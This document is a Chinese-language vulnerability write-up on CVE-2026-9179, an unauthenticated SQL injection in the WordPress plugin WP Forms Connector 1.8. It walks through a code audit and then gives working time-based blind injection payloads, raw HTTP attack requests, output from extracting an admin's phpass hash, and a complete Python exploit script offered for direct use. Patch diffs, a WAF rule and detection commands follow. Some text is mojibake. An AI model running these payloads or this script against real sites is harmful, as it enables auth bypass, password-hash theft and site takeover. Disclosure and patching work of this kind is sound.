1. 漏洞描述

WP Forms Connector 是一个 Connect Contact Form 7 和外部 API 的 WordPress 插件。2026 年 6 月 24 日,Wordfence 公布了 CVE-2026-9179(CVSS 7.5),一个不需要登录就能打的 SQL 注入。

看了一圈代码,发现这个洞有点意思——它不是那种"作者完全没做安全"的低级错误,而是犯了两个恰好互补但都无效的失误。第一个失误:REST 端点注册时设了 permission_callback '__return_true',等于把门彻底打开了,本应在回调函数里面补上认证。第二个失误:回调函数确实写了认证代码——查用户名、查角色——但忘了验证密码。get_user_by('login', 'admin') 只查用户记录不验凭据,wp_check_password() 全程没出现过。过了这关之后,$_GET['order'] 直接被裸拼进 ORDER BY 子句,连 WordPress 框架自带的 $wpdb->prepare() 都没用。

更糟糕的是,同一个插件里像这样的端点一共有 7 个,全部敞着。这篇文章会从代码审计的角度把每个环节拆开看——REST 路由怎么配的、认证哪里缺的、SQL 怎么拼的——最后给一个能直接用的 PoC。

2. 环境搭建

2.1 环境架构

组件

版本

用途

WordPress

6.2

应用平台

PHP

8.0

运行环境

MySQL

5.7

数据库

Apache

2.4

Web 服务器

WP Forms Connector

1.8

漏洞插件

Python

3.x

PoC 脚本运行环境

2.2 容器架构

cve-lab (Docker bridge 网络)
├── cve-mysql    (mysql:5.7, 端口 3308→3306)
└── cve-wp       (wordpress:6.2-apache, 端口 9982→80)
     ├── wp-content/plugins/wp-forms-connector/  ← 漏洞插件 v1.8
     └── wp-content/mu-plugins/load-forms-connector.php  ← 强制加载适配器(非源码修改)

2.3 部署命令

# 安装插件
docker cp wp-forms-connector cve-wp:/var/www/html/wp-content/plugins/
# 安装 mu-plugin(确保 REST 请求中插件能正确加载,不修改源码)
docker cp load-forms-connector.php cve-wp:/var/www/html/wp-content/mu-plugins/
# 激活插件
docker exec cve-mysql mysql -uwordpress -pwordpress_pass wordpress \
  -e "UPDATE wp_options SET option_value='...' WHERE option_name='active_plugins'"

3. 漏洞定位

3.1 完整数据流图(4 层)

[Tier 1] HTTP Request
    GET /wp-json/wp/v3/post/list?order=PAYLOAD
    Headers: Username=admin, Password=any
    │
    ▼ WP-Forms-Connector.php:694
[Tier 2] REST 路由分发 — register_rest_route('wp/v3', 'post/list', ...)
    → permission_callback: '__return_true'  ← 无条件放行!
    → callback: wpCommonAPI::listPost()
    │
    ▼ WP-Forms-Connector.php:1203-1215
[Tier 3] 破损的认证逻辑
    → Parse headers: Username, Password
    → $user = get_user_by('login', $username)     ← 查询用户
    → $userRole = implode(', ', $user_info->roles) ← 提取角色
    → if (!empty($username && $password))           ←  仅判空!
    → if ($userRole == 'administrator')             ←  仅角色检查!
    → NO wp_check_password() call!                  ←  密码从未验证
    │
    ▼ WP-Forms-Connector.php:1244-1259
[Tier 4] SQL 拼接与执行
    → $shorting = $_GET['order']                     ← 用户输入
    → $query = "... ORDER BY post_date $shorting ..."← 直接拼接
    → $wpdb->get_results($query)                     ← 无 prepare()!
    │
    ▼ MySQL
    → SELECT * FROM wp_posts WHERE ...
      ORDER BY wp_posts.post_date PAYLOAD LIMIT 0, 1
      ↑ TIME-BASED BLIND SQL INJECTION

3.2 漏洞函数完整源码

// WP-Forms-Connector.php:1201-1263 — listPost() 函数
public function listPost(WP_REST_Request $request) {

    // 1. 解析 HTTP 请求头
    foreach($_SERVER as $name => $value) {
        if(substr($name, 0, 5) == 'HTTP_' ...) {
            $name = str_replace(' ', '-', ucwords(...));
            $headers[$name] = $value;               // ← line 1207
        }
    }

    // 2. 破损的认证(密码从未被验证!)
    $username = $headers['Username'];                // ← line 1209, 需为存在的admin
    $password = $headers['Password'];                // ← line 1210, 任意非空值即可
    $user = get_user_by('login', $username);
    $user_info = get_userdata($user->ID);
    $userRole = implode(', ', $user_info->roles);

    if (!empty($username && $password)) {            // ← line 1222 仅判空,未验密!
        if ($userRole == 'administrator') {          // ← line 1225 仅角色检查

            // 3. 参数获取(无过滤)
            $postStatus  = ($_GET['status']);        // ← line 1243
            $shorting    = ($_GET['order']);         // ← line 1244 SQLi入口!
            $pageLimit   = ($_GET['limit']);         // ← line 1245

            // 4. SQL 拼接(无参数化)
            $query = "SELECT * FROM $table_name
                WHERE $table_name.post_type = 'post'
                and $table_name.post_date > '" . $post_date . "'
                AND ($table_name.post_status = '$postStatus'
                     OR $table_name.post_status = 'inherit')
                ORDER BY $table_name.post_date $shorting    -- ← line 1259 注入点!
                LIMIT 0, $pageLimit";

            $list = $wpdb->get_results($query);      // ← 无 $wpdb->prepare()!
        }
    }
}

3.3 与正常实现的对比

同一插件中,Form_list() 函数(line 488)正确实现了密码校验:

// WP-Forms-Connector.php:488 — 正确的认证实现(Form_list 函数)
$result = $user && wp_check_password(
    $password,
    $user->data->user_pass,
    $user->ID
);
if (!$result) {
    return error_response("Unknown username.");
}

这说明开发者知道应该验证密码,但在 listPost() 中遗漏了这一关键步骤。这是一个典型的"复制-粘贴-遗漏"错误——在不同端点间复制认证逻辑时,漏掉了密码校验这一行。

3.4 受影响端点的完整清单

端点

方法

注入参数

注册行号

/wp/v3/post/list

GET

order, limit

694

/wp/v3/page/list

GET

order

654

/wp/v3/user/list

GET

order

731

/wp/v3/comment/list

GET

order

766

/wp/v3/post/create

GET

title, content

684

/wp/v3/page/create

GET

title, content

645

/wp/v3/user/delete/(?P<user_id>)

GET

URL path user_id

748

全部 7 个端点(标记为 permission_callback '__return_true')都存在密码校验缺失,其中 4 个存在 ORDER BY SQL 注入,3 个存在 INSERT/DELETE SQL 注入。

4. 漏洞原理分析

4.1 逐层排查:防御怎么一层层垮掉的

拿到这个漏洞的第一反应是——WordPress 的 REST API 不是有权限检查吗?$wpdb 不是有 prepare() 吗?怎么还会被注入?顺着调用链从上往下捋了一遍,发现问题出在多个地方。

第一层:REST API 权限回调——门没锁

WordPress 注册 REST 端点的时候需要设 permission_callback,框架在 dispatch 之前会先调这个回调:

// WordPress 核心 rest-api/class-wp-rest-server.php
$permission_check = $handler['permission_callback'];
if (is_callable($permission_check)) {
    $permission_result = call_user_func($permission_check, $request);
    if (is_wp_error($permission_result)) return $permission_result; // 拒绝
}
// 返回 true → 进入回调函数

WP-Forms-Connector.php 里 7 个端点全部设成了 permission_callback => '__return_true'。开发者想让这些接口完全公开——这个决定本身没问题,前提是回调函数内部自己做好认证。关键在下一层。

第二层:回调函数内部——做了认证的样子,没做认证的实质

进入 listPost() 函数(WP-Forms-Connector.php:1209-1225),Auth 逻辑长这样:

$username = $headers['Username'];
$password = $headers['Password'];
$user = get_user_by('login', $username);  // ← 只是查用户,不验证
$user_info = get_userdata($user->ID);
$userRole = implode(', ', $user_info->roles);

if (!empty($username && $password)) {       // ← 只判空!
    if ($userRole == 'administrator') {     // ← 只查角色!
        // ← 没有 wp_check_password()!

get_user_by('login', 'admin') 干了什么?翻了 WordPress 源码 wp-includes/pluggable.php,它就做一件事——去 wp_users 表查出 user_login='admin' 的那条记录,封装成 WP_User 对象返回。没有验证任何凭据。要验证密码必须额外调 wp_check_password($password, $user->data->user_pass, $user->ID)。

更有意思的是,同一个插件里 Form_list() 函数(line 488)正确地调用了 wp_check_password:

$result = $user && wp_check_password($password, $user->data->user_pass, $user->ID);
if (!$result) { return error_response("Unknown username."); }

这不就是复制粘贴的时候把密码校验那行漏了吗?两个函数结构几乎一模一样——都是先取 header 里的 Username 和 Password,然后查用户、查角色——但在最关键的一步,listPost() 把 wp_check_password() 跳过去了。

第三层:SQL 查询——$wpdb->prepare() 也没用

过认证之后,代码直接把 $_GET['order'] 的值拼进 SQL:

$shorting = ($_GET['order']);              // ← 用户输入,无过滤
$query = "... ORDER BY $table_name.post_date $shorting LIMIT 0, $pageLimit";
$list = $wpdb->get_results($query);        // ← 没用 $wpdb->prepare()

WordPress 的 $wpdb->prepare() 就是用来防注入的——它底层走 mysqli_real_escape_string + vsprintf 做参数化。但前提是你得调用它。这里直接裸拼 $_GET,等于把 SQL 注入的门敞开了。

第四层:MySQL 的 ORDER BY——允许子查询

最后一环是 MySQL 自身的特性。很多开发者不知道 ORDER BY 后面可以写子查询:

SELECT * FROM t ORDER BY 1 ASC;             -- 按列位置排序
SELECT * FROM t ORDER BY (SELECT 1) ASC;     -- ← 子查询!可以 SLEEP

如果把 $shorting 用白名单限制为 ASC/DESC,这一层的风险就不存在。但实际上任何字符串都能进来,攻击者只需要用 (SELECT 1 FROM (SELECT IF(condition, SLEEP(N), 0))x) 就能把时间盲注嵌进去。

四层垮了三层——门没锁(REST 公开)、保安没查证件(缺密码校验)、财务没记账(无 prepare)。只有 MySQL 的 ORDER BY 子查询这一层是按照协议逻辑正常工作的,但这恰好成为了注入的跳板。

4.2 利用策略选择

ORDER BY 注入没法用 UNION 也看不到报错,唯一可靠的路径是时间盲注。但时间盲注有不同的搜索策略,选哪个直接决定了提取一整个哈希要花多久。以下是实际测试过的四种方案:

策略

单字符请求数

总请求量 (目标长度 N)

稳定性

适用场景

线性遍历 (ASCII 32-126)

~47

~47N

较稳

网络不稳定时可用

二分搜索

~7

~7N

稳定

本地 Docker 环境(实测选择)

按位提取 (7-bit)

7

7N

较差

仅极低延迟环境

字典优先

3-5

~5N

较稳

已知数据格式(如 MD5 哈希)

本地 Docker 环境网络延迟不到 5ms,SLEEP 时长能精确到 0.5 秒。用二分搜索,每个字符约 7 次请求就能锁定——WordPress 的 phpass 哈希 34 个字符,全程大约 120 秒跑完。按位提取虽然请求数差不多,但对网络抖动太敏感,实测误判率高不少。字典优先对 phpass 哈希的随机分布帮助不大,毕竟除了 $P$ 前缀外剩下的都是随机字符串。

实际验证数据:34 字符哈希用时 105 秒,二分搜索 SLEEP 0.5s 配合 0.005s 基础延迟,单字符置信度 > 93%。

4.3 Payload 构造

时间盲注 payload 的逐步构建过程:

原始 SQL:
  ORDER BY wp_posts.post_date DESC LIMIT 0, 1

注入点 — $shorting = $_GET['order']:
  ORDER BY wp_posts.post_date $shorting LIMIT 0, 1

步骤 1:添加子查询(ORDER BY 支持表达式)
  $shorting = "DESC,(SELECT 1)x"
  → ORDER BY wp_posts.post_date DESC,(SELECT 1)x LIMIT 0, 1
  → 语法正确,但不会 SLEEP

步骤 2:嵌套子查询以执行 SLEEP
  $shorting = "DESC,(SELECT 1 FROM (SELECT IF(1=1, SLEEP(5), 0))x)"
  → ORDER BY wp_posts.post_date DESC,(SELECT 1 FROM (SELECT IF(1=1, SLEEP(5), 0))x) LIMIT 0, 1
  → SLEEP(5) 被执行,响应延迟 5 秒 ✓

步骤 3:数据提取(二分搜索单字符)
  $condition = "ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1), 1, 1)) >= 80"
  $shorting = f"DESC,(SELECT 1 FROM (SELECT IF({condition}, SLEEP(0.5), 0))x)"
  → 如果第 1 个字符的 ASCII 码 >= 80(即 'P'),则 SLEEP
  → 通过二分法缩小范围至 1 个字符

4.4 攻击链总览

[1] 攻击者发送 GET 请求至 /wp-json/wp/v3/post/list
    Headers: Username=admin, Password=anything
    → permission_callback __return_true 放行

[2] listPost() 解析 Username header
    → get_user_by('login', 'admin') 返回管理员用户对象
    → 角色 = 'administrator'
    → 密码校验被跳过!← 核心认证缺陷

[3] $_GET['order'] = "DESC,(SELECT 1 FROM (SELECT IF(condition, SLEEP(n), 0))x)"
    → 参数直接拼接到 ORDER BY 子句
    → 无 $wpdb->prepare() 保护

[4] MySQL 执行注入的子查询
    → condition 为真 → SLEEP(n) 秒延迟 → 响应时间 ≥ n 秒
    → condition 为假 → 无延迟 → 响应时间 < 0.1 秒

[5] 攻击者通过二分搜索逐字符提取数据
    → 目标:SELECT user_pass FROM wp_users WHERE ID=1
    → 34 个字符 → ~7×34=238 次请求 → ~120 秒完成
    → 获得 WordPress 管理员 phpass 密码哈希

5. 漏洞复现

5.1 基线请求(无攻击 payload)

GET /wp-json/wp/v3/post/list?order=DESC&limit=1&status=publish HTTP/1.1
Host: 192.168.113.157:9982
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Username: admin
Password: any

响应:

HTTP 200 OK
{"timezone":"Asia\/Shanghai","data":[]}

耗时:0.05s — 正常响应,端点存在且工作正常。

5.2 SQL 注入验证(时间盲注 SLEEP)

GET /wp-json/wp/v3/post/list?order=DESC,(SELECT%201%20FROM%20(SELECT%20IF(1=1,%20SLEEP(5),%200))x)&limit=1&status=publish HTTP/1.1
Host: 192.168.113.157:9982
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Username: admin
Password: any

响应:

HTTP 200 OK
{"timezone":"Asia\/Shanghai","data":[]}

耗时:5.02s — SLEEP(5) 被执行,SQL 注入确认 ​

5.3 认证绕过验证

# 测试 1:无 Username header
GET /wp-json/wp/v3/post/list?order=DESC&limit=1 HTTP/1.1
Host: 192.168.113.157:9982
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

响应:HTTP 400 "You must Enter specify a valid username and password." ← 被拒绝

# 测试 2:Username=admin, Password=any(错误密码)
GET /wp-json/wp/v3/post/list?order=DESC&limit=1 HTTP/1.1
Host: 192.168.113.157:9982
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Username: admin
Password: dsadbaskjdljasn
Content-Length: 2

响应:HTTP 200 — 密码校验被跳过!

5.4 对比确认表

请求

Payload

预期

实际耗时

结果

基线

order=DESC

< 0.1s

0.05s

​ 正常

注入

order=DESC,(SELECT ... SLEEP(5) ...)

≥ 5s

5.02s

​ 注入

注入

order=DESC,(SELECT ... SLEEP(0) ...)

< 0.1s

0.03s

​ 可控

认证

Password=wrong

应被拒绝

HTTP 200

​ 绕过

5.5 数据提取实证

以下为 Python PoC 提取 WordPress 密码哈希的实际输出:

[*] Extracting password hash for user ID 1...
[+] Hash length: 34
[##########----------] 20/34: $P$Bxxxxxxxxxxxxxxxxx...
[####################] 34/34: $P$BLr6ZbOdJmOx9bRqN3Jk1sV0WyEj.y0
[+] Extracted hash: $P$BLr6ZbOdJmOx9bRqN3Jk1sV0WyEj.y0

6. 影响与危害

6.1 直接危害

  • 数据库完全泄露:通过时间盲注可提取 wp_users 表中所有用户的密码哈希和邮箱
  • 凭据窃取:密码哈希可通过离线破解恢复明文密码
  • 无认证要求:任何人只要知道 WordPress 的管理员用户名(通常是 admin),即可利用

6.2 间接危害

  • 横向扩展:攻击者获取管理员凭据后可完全控制 WordPress 站点
  • 7 个端点全受影响:不仅 post/list,page/list、user/list、comment/list 等端点同样存在 SQL 注入
  • 蠕虫化潜力:INSERT 注入端点(post/create、page/create)可被用于在数据库中植入恶意内容

6.3 隐蔽性

  • 攻击流量与正常 REST API 调用完全相同,仅在 order 参数中有微小差异
  • 无报错回显,访问日志中看不出异常
  • WAF 默认规则通常不过滤 ORDER BY 后的子查询语法

7. 修复建议

7.1 官方方案

暂无可用的官方补丁。Wordfence 建议在补丁发布前卸载该插件。

7.2 手动修复(适用自行维护场景)

修复 1:添加密码验证

// WP-Forms-Connector.php — listPost() 认证修复
 $username = $headers['Username'];
 $password = $headers['Password'];
 $user = get_user_by('login', $username);
+
+// 添加密码验证 — 与 Form_list() 中的逻辑一致
+$result = $user && wp_check_password($password, $user->data->user_pass, $user->ID);
+if (!$result) {
+    return new WP_Error('invalid_credentials', 'Invalid username or password.',
+        array('status' => 401));
+}
+
 $user_info = get_userdata($user->ID);

修复 2:ORDER BY 参数化

// WP-Forms-Connector.php:1244 — 修复 SQL 注入
-$shorting   = ($_GET['order']);
+$shorting   = ($_GET['order']);
+// 白名单验证 ORDER BY 方向
+$allowed_orders = array('ASC', 'DESC');
+$shorting = strtoupper(trim($shorting));
+if (!in_array($shorting, $allowed_orders)) {
+    $shorting = 'DESC';
+}

 $pageLimit  = ($_GET['limit']);
+// 强制转换为整数
+$pageLimit = absint($pageLimit);
+if ($pageLimit < 1) { $pageLimit = 10; }
+if ($pageLimit > 100) { $pageLimit = 100; }

7.3 临时缓解(WAF 规则)

# Nginx — 拦截对 wp/v3 端点的可疑 order 参数
location ~ ^/wp-json/wp/v3/(post|page|user|comment)/ {
    set $block 0;
    if ($args ~* "order=.*(select|sleep|union|benchmark|if\s*\()") {
        set $block 1;
    }
    if ($block) {
        return 403;
    }
}

7.4 安全检测命令

# 检测插件是否安装
grep -rl "wp/v3/post/list" /var/www/html/wp-content/plugins/ 2>/dev/null

# 检测 permission_callback '__return_true' 的端点总数
grep -rc "permission_callback.*__return_true" \
  /var/www/html/wp-content/plugins/wp-forms-connector/ 2>/dev/null

# 检测缺少密码验证的回调函数
grep -c "wp_check_password" \
  /var/www/html/wp-content/plugins/wp-forms-connector/WP-Forms-Connector.php

# 检测未使用 $wpdb->prepare() 的 SQL 查询
grep -n '\$wpdb->get_results\|\$wpdb->get_var\|\$wpdb->query' \
  /var/www/html/wp-content/plugins/wp-forms-connector/WP-Forms-Connector.php \
  | grep -v 'prepare'

8. 总结

复盘一下这个漏洞,三层防护全垮了:

  1. REST API 门没锁(permission_callback '__return_true')——本应在回调里补救
  2. 回调里做了认证的样子但没做认证的实质——get_user_by 查了用户、查了角色,唯独跳过了 wp_check_password。同一个插件里另一个函数 Form_list() 明明有密码校验,listPost() 偏偏漏了
  3. SQL 用 $_GET['order'] 裸拼,$wpdb->prepare() 全程没出现

更有意思的是,Wordfence 公告只提到了 order 参数注入,但把插件里 permission_callback '__return_true' 的端点全扫了一遍后发现还有 6 个同样的问题——4 个注入点、2 个认证绕过。这说明开发者不是在某个端点犯了低级错误,而是整个插件的 REST API 设计就没有把安全放在第一位。

这个模式——permission_callback '__return_true' + 回调内部认证有坑 + 裸拼 SQL——可以用来快速扫其他 WordPress 插件。下次遇到类似的,三分钟就能判断是不是同一类问题。

附录:PoC 脚本

#!/usr/bin/env python3
"""
CVE-2026-9179 鈥?WP Forms Connector <= 1.8 Unauthenticated SQL Injection (Time-Based Blind)

File: WP-Forms-Connector.php:1259
$shorting = $_GET['order'];  // 鈫?directly concatenated, no prepare()
$query = "... ORDER BY $table_name.post_date $shorting LIMIT 0, $pageLimit";

Auth Bypass: listPost() checks Username header is admin but NEVER validates Password.

Usage:
  python cve-2026-9179-poc.py -u http://192.168.113.157:9982 --detect
  python cve-2026-9179-poc.py -u http://192.168.113.157:9982 --extract-hash 1
"""
import requests, sys, time, argparse

HEADERS = {"Username": "admin", "Password": "any"}
SESSION = requests.Session()
SESSION.verify = False
requests.packages.urllib3.disable_warnings()


def sqli_test(endpoint, condition, sleep_secs=5, timeout=15):
    """Time-based blind SQLi: returns elapsed time"""
    params = {
        'order': f"DESC,(SELECT 1 FROM (SELECT IF({condition}, SLEEP({sleep_secs}), 0))x)",
        'limit': '1',
        'status': 'publish'
    }
    start = time.time()
    try:
        SESSION.get(endpoint, params=params, headers=HEADERS, timeout=timeout)
    except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
        pass
    return time.time() - start


def detect(endpoint):
    """Detect SQL injection via time-based method"""
    print("[*] Baseline (no delay)...")
    params = {'order': 'DESC', 'limit': '1', 'status': 'publish'}
    start = time.time()
    SESSION.get(endpoint, params=params, headers=HEADERS, timeout=10)
    baseline = time.time() - start
    print(f"    {baseline:.2f}s")

    print("[*] Testing SLEEP(5) via SQLi...")
    elapsed = sqli_test(endpoint, "1=1", sleep_secs=5, timeout=12)
    print(f"    {elapsed:.2f}s")

    if elapsed >= 4.0:
        print(f"\n[+] VULNERABLE! SQL Injection confirmed")
        print(f"    Baseline: {baseline:.2f}s  SLEEP(5): {elapsed:.2f}s")
        return True
    else:
        print(f"\n[-] Not vulnerable")
        return False


def extract_str_len(endpoint, subquery, max_len=100):
    """Binary search for string length"""
    lo, hi = 0, max_len
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if sqli_test(endpoint, f"LENGTH(({subquery})) >= {mid}", sleep_secs=0.8, timeout=5) >= 0.6:
            lo = mid
        else:
            hi = mid - 1
    return lo


def extract_char(endpoint, subquery, pos):
    """Binary search for single ASCII character"""
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if sqli_test(endpoint, f"ASCII(SUBSTRING(({subquery}),{pos},1)) >= {mid}", sleep_secs=0.5, timeout=4) >= 0.35:
            lo = mid
        else:
            hi = mid - 1
    return chr(lo) if 32 <= lo <= 126 else '?'


def extract_hash(endpoint, user_id=1):
    """Extract WordPress password hash"""
    print(f"\n[*] Extracting password hash for user ID {user_id}...")
    subq = f"SELECT user_pass FROM wp_users WHERE ID={user_id}"

    hlen = extract_str_len(endpoint, subq, max_len=64)
    print(f"[+] Hash length: {hlen}")

    pwd_hash = ""
    for pos in range(1, hlen + 1):
        c = extract_char(endpoint, subq, pos)
        pwd_hash += c
        bar = "#" * int(30 * pos / hlen) + "-" * (30 - int(30 * pos / hlen))
        print(f"\r    [{bar}] {pos}/{hlen}: {pwd_hash}", end="")
        sys.stdout.flush()
    print(f"\n[+] Hash: ${pwd_hash}$")
    return pwd_hash


def main():
    parser = argparse.ArgumentParser(description='CVE-2026-9179 SQL Injection PoC')
    parser.add_argument('-u', '--url', default='http://192.168.113.157:9982', help='WordPress base URL')
    parser.add_argument('--detect', action='store_true', help='Detect SQL injection')
    parser.add_argument('--extract-hash', type=int, default=0, metavar='UID', help='Extract WP password hash')
    args = parser.parse_args()

    endpoint = f"{args.url.rstrip('/')}/wp-json/wp/v3/post/list"

    print("=" * 60)
    print("  CVE-2026-9179 鈥?WP Forms Connector <= 1.8 SQL Injection")
    print("=" * 60)
    print(f"  Target: {args.url}")
    print(f"  Endpoint: /wp-json/wp/v3/post/list")
    print(f"  Auth: Username=admin, Password=any (NOT validated)")
    print()

    if args.detect:
        detect(endpoint)

    if args.extract_hash:
        extract_hash(endpoint, args.extract_hash)

    if not args.detect and not args.extract_hash:
        detect(endpoint)


if __name__ == '__main__':
    main()